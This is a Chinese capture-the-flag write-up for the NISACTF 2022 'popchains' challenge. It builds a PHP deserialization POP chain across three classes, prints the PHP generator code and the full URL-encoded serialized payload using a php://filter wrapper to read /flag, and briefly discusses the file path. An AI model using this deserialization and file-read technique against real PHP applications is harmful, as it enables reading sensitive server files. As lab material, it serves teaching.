[NISACTF 2022]popchains - 反序列化+伪协议

NISACTF 2022popchains

一、解题流程

1、链条:Road_is_Long(construct->wakeup【page=$r】-> toString【string=$m】)-> Make_a_Change(construct->get【effort=$t】)-> Try_Work_Hard(invoke->append【var='php://filter/read=convert.base64-encode/resource=/flag'】)

2、根据链条:编写代码

php 复制代码
<?php
class Road_is_Long{
    public $page;
    public $string;
}
class Try_Work_Hard{
    protected  $var = "php://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
    public $effort;
} 

$r = new Road_is_Long();
$t = new Try_Work_Hard();
$m = new Make_a_Change();
$r->page=$r;
$r->string=$m;
$m->effort=$t;

//echo serialize($r);
echo urlencode(serialize($r));
?>

3、payload=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A54%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D

4、通过payload得到flag的base64编码,解密得到flag即可

二、小小疑惑

疑问:/flag能获取是因为在根目录下吗?为什么写/flag.php就不行?如果对.过滤的话,应该会echo "You can Not Enter 2022";才对啊?

解答:这道题是2022年出的,这道题目下方提示flag.php文件,说明flag.php在当前目录下,但是答案是在根目录下,且是flag文件,所以个人认为是后面这台环境变了的问题。

相关推荐
是真的小外套23 分钟前
第13章:网络安全漏洞防护原理与应用
安全·web安全·php
狗凯之家源码网28 分钟前
纯 PHP+MySQL 应用市场系统源码实测!
开发语言·mysql·php
Ikalus19881 小时前
检查自己写着「这不会让任务失败」:一条 Critical 风险就这么过了 178 天
安全·架构
仿生joe会梦见漫天的大雪吗2 小时前
CTF Misc 工具选型指南:按题型分类的工具、原理与限制
后端·安全
QYR-分析2 小时前
工业安全无线遥控器:5.4% 稳步增长,起重与移动机械的安全控制终端
安全
2301_32241428044 小时前
基于web的校园失物招领管理系统59695-计算机毕设 原创(免费领源码+部署教程+开发环境)
mysql·nginx·php·apache·thinkphp·phpstudy·wampserver
研发小能4 小时前
金融行业 DevSecOps 解决方案:把安全内建到研发全流程
安全·金融·devops·嘉为蓝鲸
xjxijd5 小时前
AI 安全进入爆发周期:智能体安全成下一阶段核心竞争高地
人工智能·安全·ai
数字化转型分享点滴6 小时前
机加工MES落地先连设备还是先上工单?一份车间实施参考
python·安全
4SAPI6 小时前
官方API、API聚合平台与自建LLM Gateway:三种方案怎么选
大数据·人工智能·gateway·php